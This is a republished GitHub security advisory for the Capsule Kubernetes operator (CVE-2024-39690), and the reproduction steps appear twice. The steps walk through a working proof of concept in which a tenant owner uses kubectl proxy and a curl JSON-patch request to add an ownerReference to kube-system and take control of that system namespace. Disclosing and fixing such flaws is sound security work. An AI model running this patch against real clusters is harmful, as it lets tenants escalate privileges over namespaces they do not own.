Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-mq69-4j5w-3qwp: Capsule tenant owner with "patch namespace" permission can hijack system namespaces

Attack Vector

Then, let me briefly explain the reasons for the errors mentioned above: 1. The ‘kubectl edit’ command was used to patch the namespace, but this operation requires both ‘get’ and ‘patch’ permissions, hence the error. One should use methods like ‘curl’ to directly send a PATCH request; 2. The webhook does not intercept patch operations on ‘kube-system’ because ‘kube-system’ does not have an ownerReference.

Below are my detailed reproduction steps

  1. Create a test cluster kind create cluster --image=kindest/node:v1.24.15 --name=k8s
  2. Install the capsule helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
  3. Create a tenant
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF
  1. Create user alice
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
  1. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
kubectl proxy

export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'

curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json"
  1. Check the result The kube-system is patched successfully. image

Summary

The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.

I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.

ghsa
#web#js#git#kubernetes

Attack Vector

Then, let me briefly explain the reasons for the errors mentioned above: 1. The ‘kubectl edit’ command was used to patch the namespace, but this operation requires both ‘get’ and ‘patch’ permissions, hence the error. One should use methods like ‘curl’ to directly send a PATCH request; 2. The webhook does not intercept patch operations on ‘kube-system’ because ‘kube-system’ does not have an ownerReference.

Below are my detailed reproduction steps

  1. Create a test cluster
    kind create cluster --image=kindest/node:v1.24.15 --name=k8s

  2. Install the capsule
    helm install capsule projectcapsule/capsule -n capsule-system --create-namespace

  3. Create a tenant

    kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners:

    • name: alice kind: User EOF
  1. Create user alice

    ./create-user.sh alice tenant1 capsule.clastix.io export KUBECONFIG=alice-tenant1.kubeconfig

  1. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)

    kubectl proxy

    export DATA=’[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'

    curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d “$DATA” -H “Content-Type: application/json-patch+json”

  1. Check the result
    The kube-system is patched successfully.

Summary

The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.

I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.

References

  • GHSA-mq69-4j5w-3qwp
  • https://nvd.nist.gov/vuln/detail/CVE-2024-39690
  • projectcapsule/capsule@d620b04

ghsa: Latest News

GHSA-62r2-gcxr-426x: starcitizentools/citizen-skin vulnerable to stored, self-XSS in the "real name" field